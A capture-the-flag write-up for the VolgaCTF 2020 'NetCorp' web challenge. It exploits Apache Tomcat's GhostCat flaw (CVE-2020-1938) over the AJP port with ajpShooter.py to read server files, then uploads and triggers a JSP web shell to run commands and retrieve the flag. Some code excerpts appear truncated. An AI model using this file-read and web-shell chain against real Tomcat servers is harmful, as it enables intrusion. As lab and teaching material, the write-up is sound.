VolgaCTF 2020 Qualifier - NetCorp

CTF URL: https://q.2020.volgactf.ru

Solves: 134 / Points: 100 / Category: Web

Challenge description

Another telecom provider. Hope these guys prepared well enough for the network load…


Challenge resolution


Browsing the web application did not reveal any clear entry point:

NetCorp website

In order to obtain more information on the target, we thus performed a web directory scan using Gobuster:

Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:            http://netcorp.q.2020.volgactf.ru:7782
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirb/common.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Expanded:       true
[+] Timeout:        10s
2020/03/28 12:06:42 Starting gobuster
http://netcorp.q.2020.volgactf.ru:7782/docs (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/examples (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/index.html (Status: 200)
http://netcorp.q.2020.volgactf.ru:7782/resources (Status: 302)
http://netcorp.q.2020.volgactf.ru:7782/uploads (Status: 302)
2020/03/28 12:07:06 Finished

Sweet! The docs folder revealed an installation of Apache Tomcat and the related version:


As outlined on the tomcat.apache.org website, the version 9.0.24 is vulnerable to CVE-2020-1938, a potential Remote Code Execution also known as GhostCat:


However, to exploit this vulnerability, the AJP connector, usually listening on port 8009, must be reached. Using netcat, we can confirm that the TCP port 8009 is indeed open:

$ nc -v netcorp.q.2020.volgactf.ru 8009
DNS fwd/rev mismatch: netcorp.q.2020.volgactf.ru != bahilovopt.ru
netcorp.q.2020.volgactf.ru [] 8009 (?) open


The exploitation was performed using the ajpShooter.py python script from @00theway GitHub repo.

To check that the server is indeed vulnerable, we first attempted to download the WEB-INF/web.xml configuration file using the following command line:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/web.xml read


As shown above, we can effectively read arbitrary file on the server. <(^_^)>

We then downloaded the java class of the ServeScreenshot Servlet:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /WEB-INF/classes/ru/volgactf/netcorp/ServeScreenshotServlet.class read


Using the -o parameter, we can save the class file to an output file, and use Jadx, a Dex to Java decompiler, to get the associated Java source code:


From the source code, we’ve learned that uploaded files are saved in the uploads folder using the md5 hash of the filename:

private String generateFileName(String fileName) {
    try {
        MessageDigest md = MessageDigest.getInstance("MD5");
        String s2 = new BigInteger(1, md.digest()).toString(16);
        StringBuilder sb = new StringBuilder(32);
        int count = 32 - s2.length();
        for (int i = 0; i < count; i++) {
        return sb.append(s2).toString();
    } catch (NoSuchAlgorithmException e) {
        return "Error";

Using the following HTML code snippet, we can upload file to the server:

<form method="post" action="http://netcorp.q.2020.volgactf.ru:7782/ServeScreenshot"
    Select file to upload: <input type="file" name="file" /><br />
    <br /> <input type="submit" value="Upload" />

For instance, we uploaded a file name testpoc.txt and calculated the md5 filename hash:

$ echo -n "testpoc.txt" | md5sum
beb2db6edf7b269ddfe4a4cfb54e09d9  -

This file can then be accessed at the intended URI:


Content of the file can also be retrieved using the aforementioned ajpShooter.py python script:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/beb2db6edf7b269ddfe4a4cfb54e09d9 read


Next, as stated on the advisory, remote code execution can be achieved by processing JSP script such as the following:

<%@ page import="java.util.*,java.io.*"%>
String cmd = "id";
out.println("Command: " + cmd + "<BR>");
Process p =Runtime.getRuntime().exec(cmd);
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
    disr = dis.readLine();


The process can then be repeated:

$ echo -n "cmd.jsp" | md5sum
2079f2ab870589bf5c5ddc9ac5030097  -

However, execution is achieved by using the eval parameter:

$ python3 ajpShooter.py http://netcorp.q.2020.volgactf.ru:7782/ 8009 /uploads/2079f2ab870589bf5c5ddc9ac5030097 eval

Eval id

Flag recovery

We then executed the ls command and spotted the flag.txt file:

Eval ls

The cmd.jsp script can be modified one last time using Burp in order to retrieved the flag:



Author: Mr-B0b @_MrB0b

Post date: 2020-03-29